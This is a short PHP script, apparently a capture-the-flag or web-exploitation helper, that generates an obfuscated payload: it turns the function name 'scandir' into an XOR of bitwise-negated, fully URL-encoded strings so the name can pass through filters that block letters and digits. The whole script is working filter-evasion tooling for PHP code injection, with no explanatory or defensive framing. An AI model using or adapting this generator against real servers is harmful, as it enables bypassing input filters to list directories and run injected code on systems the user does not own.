1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php
class rep { public $t; public $e1; public $e2; public $e3; public function __construct($target,$arry) { $this->t = $target; $this->e1 = $arry[0]; $this->e2 = $arry[1]; $this->e3 = $arry[2]; } } function fullescape($in) { $out = ''; for ($i=0;$i<strlen($in);$i++) { $hex = dechex(ord($in[$i])); if ($hex=='') $out = $out.urlencode($in[$i]); else $out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex))); } $out = str_replace('+','%20',$out); $out = str_replace('_','%5F',$out); $out = str_replace('.','%2E',$out); $out = str_replace('-','%2D',$out); return $out; }
$str = "scandir"; $len = strlen($str); $str1 = $str2 = $str3 = $str; $xor = str_repeat("%ff", $len);
$mode1 = new rep('n',['c','a','l']); $mode2 = new rep("i",["c","f","l"]); $mode3 = new rep("r",["s","d","e"]);
$str1 = str_replace($mode1->t,$mode1->e1,$str1);$str2 = str_replace($mode1->t,$mode1->e2,$str2);$str3 = str_replace($mode1->t,$mode1->e3,$str3); $str1 = str_replace($mode2->t,$mode2->e1,$str1);$str2 = str_replace($mode2->t,$mode2->e2,$str2);$str3 = str_replace($mode2->t,$mode2->e3,$str3); $str1 = str_replace($mode3->t,$mode3->e1,$str1);$str2 = str_replace($mode3->t,$mode3->e2,$str2);$str3 = str_replace($mode3->t,$mode3->e3,$str3);
echo '(('.fullescape(~$str1).')^('.fullescape(~$str2).')^('.fullescape(~$str3).')^('.$xor.'))';
|